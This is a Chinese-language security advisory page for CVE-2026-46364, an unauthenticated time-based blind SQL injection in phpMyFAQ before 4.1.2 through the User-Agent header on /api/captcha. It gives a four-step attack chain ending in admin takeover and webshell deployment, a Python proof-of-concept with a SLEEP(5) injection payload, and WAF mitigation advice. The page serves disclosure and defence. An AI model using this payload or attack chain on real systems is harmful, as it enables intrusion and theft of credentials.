IPBUF安全漏洞报告
English
CVE-2026-46364 CVSS 9.8 严重

CVE-2026-46364 phpMyFAQ未认证SQL注入漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-46364
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

SQL注入phpMyFAQCVE-2026-46364未认证漏洞盲注Web安全

漏洞概述

phpMyFAQ 4.1.2之前的版本中存在严重的未认证SQL注入漏洞。该漏洞源于BuiltinCaptcha类的方法直接将未过滤的User-Agent请求头拼接到SQL查询语句中。攻击者无需登录,只需向/api/captcha端点发送特制的User-Agent请求头,即可执行基于时间的盲注攻击,从数据库中窃取用户凭证、管理员令牌及SMTP凭据等敏感信息,造成严重的数据泄露。

技术细节

该漏洞的核心在于phpMyFAQ处理验证码时的不当编码。BuiltinCaptcha类的garbageCollector()和saveCaptcha()方法负责数据库的清理与写入操作,但在构建SQL语句时,直接将HTTP请求头中的User-Agent字段插入到了DELETE和INSERT语句中,且缺乏任何过滤机制。由于/api/captcha接口设计为公开访问且无需认证,攻击者可利用此缺陷。通过精心构造包含SQL时间盲注负载(如AND SLEEP(5))的User-Agent头,攻击者可诱导数据库执行延时查询。通过测量响应时间,攻击者能够逐字节推断出数据库内容,从而在无错误回显的情况下提取完整的敏感数据。

攻击链分析

STEP 1
1. 信息收集
识别目标是否运行phpMyFAQ且版本低于4.1.2。
STEP 2
2. 漏洞探测
向/api/captcha端点发送包含SQL注入测试语句(如SLEEP函数)的User-Agent请求头,验证漏洞是否存在。
STEP 3
3. 数据窃取
利用基于时间的盲注技术,逐位提取数据库中的用户凭证、管理员令牌及SMTP密码等敏感数据。
STEP 4
4. 系统渗透
使用提取的管理员凭证登录后台,进一步控制服务器或部署Webshell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: phpMyFAQ < 4.1.2 - Unauthenticated SQL Injection (User-Agent) # Description: PoC for time-based blind SQL injection via User-Agent header target_url = "http://target-host/api/captcha" # Malicious User-Agent header with time-based blind SQL injection payload # This payload checks if the database sleeps for 5 seconds headers = { "User-Agent": "Mozilla/5.0' AND (SELECT SLEEP(5))-- -" } try: print("[+] Sending payload to /api/captcha...") response = requests.get(target_url, headers=headers, timeout=10) # If the response takes significantly longer than usual, the injection is likely successful if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time: {} seconds".format(response.elapsed.total_seconds())) else: print("[-] Vulnerability not detected or payload failed. Response time: {} seconds".format(response.elapsed.total_seconds())) except requests.exceptions.RequestException as e: print("[!] Error connecting to target: {}".format(e))

影响范围

phpMyFAQ < 4.1.2

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中配置规则,拦截包含常见SQL注入特征(如单引号、UNION SELECT、SLEEP、BENCHMARK等)的User-Agent请求头,或者暂时限制对/api/captcha端点的公网访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表